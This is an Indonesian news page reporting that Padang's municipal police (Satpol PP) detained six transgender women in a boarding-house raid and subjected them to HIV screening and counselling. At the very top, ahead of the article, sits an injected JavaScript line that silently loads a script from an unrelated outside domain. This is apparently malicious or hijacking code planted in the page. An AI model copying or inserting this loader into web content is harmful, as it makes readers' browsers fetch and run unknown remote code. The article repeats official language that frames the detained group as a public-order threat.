(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM – Satuan Polisi Pamong Praja (Satpol PP) Kota Padang, mengamankan enam orang waria dari dalam kamar kos-kosan di kawasan Andalas, Kecamatan Padang Timur, Kota Padang, Jumat (18/2/2022) dini hari.
Kasat Pol PP Padang, Mursalim mengatakan, mereka diamankan berawal dari laporan warga yang merasa resah dari ulah sejumlah waria yang tinggal di salah satu kos-kosan kawasan andalas itu, yang mengakibatkan terganggunya Trantibum di kawasan tersebut.
“Menanggapi hal ini, kita bergerak cepat, takut terjadi hal-hal yang tidak diinginkan, kita langsung turunkan anggota ke lokasi, untuk melakukan pengawasan dan mengamankan enam orang Waria tersebut ke Mako Satpol PP,” ungkap Mursalim, dalam keterangan persnya, Jumat.
Selanjutnya, keenam waria yang telah melanggar Perda 11 Tahun 2005, tentang Tibum Tranmas, diproses sesuai aturan, mereka didata dan diperiksa oleh PPNS Satpol PP Padang, dilanjutkan dengan mengikuti tes darah, melakukan screening HIV/AIDS dan PML (Penyakit Menular Lainnya), serta konseling oleh Tim Kesehatan Kota Padang, di aula Satpol PP Padang.
Baca juga:Â Banjarbaru Jadi Ibu Kota Kalsel, Intip Rencana Pembangunan Stadion Sepak Bola Berstandar FIFA
“Sebelum mereka dipulangkan, mereka diberikan konseling dan pembinaan oleh Tim kesehatan, pihak keluarganya juga dipanggil sebagai penjamin, bagi mereka yang tidak memiliki keluarga di Padang, mereka boleh membawa sanak saudara yang berdomisili di Kota Padang, mereka juga membuat surat pernyataan,” kata dia.
Lebih lanjut Mursalim menjelaskan, semenjak dilakukan razia kos-kosan, masyarakat sekarang sudah mulai membuka matanya, untuk ikut mengontrol aktifitas kos-kosan yang ada di sekitar mereka, seperti laporan terhadap waria ini, tingkah laku mereka yang tidak sesuai dengan norma-norma yang ada di Ranah Minang, banyak masyarakat merasa resah ulah mereka.
“Tentu laporan-laporan seperti ini, perlu kita sikapi, demi menjaga Ketertiban Umum dan Ketentraman masyarakat di Kota Padang,” ujarnya.
Mursalim berharap, masyarakat Kota Padang, agar terus melakukan pengawasan terhadap, penginapan dan kos-kosan yang ada di lingkungan masing-masing dan melaporkan ke pada petugas, jika merasa Trantibum terganggu.
Baca juga:Â Satu Pelaku Pengeroyokan di Liang Anggang Berhasil Dibekuk, Tiga Masih DPO
“Kita juga akan memberikan tindak tegas terhadap pemilik kos, jika pemilik kos tidak mau mengawasi penghuninya, dan tempatnya bisa menimbulkan keresahan warga sekitar,” tegasnya. (Kanalkalimantan.com/Suara.com)
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.